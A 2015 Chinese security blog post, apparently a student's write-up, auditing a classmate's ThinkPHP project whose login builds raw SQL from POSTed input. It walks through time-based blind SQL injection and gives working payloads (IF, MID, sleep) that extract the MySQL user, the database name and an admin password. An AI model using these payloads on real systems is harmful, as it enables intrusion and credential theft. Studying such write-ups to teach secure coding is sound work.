学员渗透录三十_thinkphp框架一点审计


Aug 27 2015

学员渗透录三十_thinkphp框架一点审计

首页 » 学员作品 » 学员渗透录三十_thinkphp框架一点审计   

学员渗透录三十_thinkphp框架开发一点审计

作者:学员一枚  编辑:mOon 博客:www.moonsec.com

广告:学渗透找暗月暗月欢迎你的到来!


文章很普通就是一些tp开发的没注意的地方,本来不怎么想发在博客的。

但是这个又是学员的审核文章,还是放在学员渗透录吧,毕竟这个系列,还是不没有结束。


正文开始:


某同学的毕业设计 要我帮他审计下代码.用的是TP框架做的一个项目

其中登录处是这样写的

tpbug.png


Name  password  post过来的值直接被带入到数据库了 TP默认的Query方法是支持预处理的


tpbug2.png


但是这位同学没有使用.


那么可以直接控制name字段的sql传入进去.但是他关闭了DEBUG  Trace调试模式.

TP如果关闭调式模式,页面出错是不会输出任何信息的直接空白.那么这个时候就要用到mysql  sleep函数进行 延迟注入了

 

于是要构造一个请求,注意他上面判断了isajax 要在请求头信息里面加上

X-Requested-With: XMLHttpRequest  否则直接return.

 

我们构造的post数据

username= lengkongqi') AND (IF(MID(user(),1,1) = 'r',sleep(10),0))=1#&password=1



//注意r那个必须是单引号 如果是双引号 则他和开始的双引号闭合了 这个$sql 变量报错了 都不会走到数据库

(IF(MID(user(),1,1) = 'r',sleep(10),0))

 

Mysql  If用法If(条件,true,false)

 MID是截取函数类似php里面的substr

如果user第一位数是r则这个sql会执行sleep(10).否则不会sleep则马上返回结果.

 

这样我们就能猜出的用户名了.

 

更改sql来猜他的数据库名



username=lengkongqi') AND (IF(MID(database(),1,1) = 'x',sleep(10),0))=1#&password=1



直接就返回了结果 那么数据库第一位字母不是x

在把x换成p 执行了好久则第一位是p

最后得到他的数据库名是ptwop

 

然后在来猜他的用户表和后台管理员表

一般名称是manage  user  admin

如果不行加上表前缀 表前缀一般是数据库名称  这个数据库名称是ptwop那么表前缀应该是ptwop_ 对应的表名

ptwop_ manage   ptwop_ user   ptwop_ admin

 

username=lengkongqi') AND (IF(MID( (select password from ptwop_ admin where id=1),1,1) = 'x',sleep(10),0))=1#&password=1

然后就可以得到密码及账号.


好评

mOon:开发中 没用预算处理,关闭debug,使用延时注入。


如果您喜欢本博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容:

正文部分到此结束

文章标签: thinkphp最新漏洞 thinkphp3.2漏洞 thinkphp审计

版权声明:若无特殊注明,本文皆为( mOon )原创,转载请保留文章出处。

也许喜欢: «bypass姿势汇总 | 提权绕过安全狗加账户的种种思路»

你肿么看?

你还可以输入 250/250 个字

 微笑 大笑 拽 大哭 亲亲 流汗 喷血 奸笑 囧 不爽 晕 示爱 害羞 吃惊 惊叹 爱你 吓死了 呵呵

评论信息框

已有2条评论

匿名

2015-08-27 21:05 沙发
tp有函数既然还用直接用原生语句查询

mOon

2015-08-28 13:21
@匿名:很多人都这样的。。。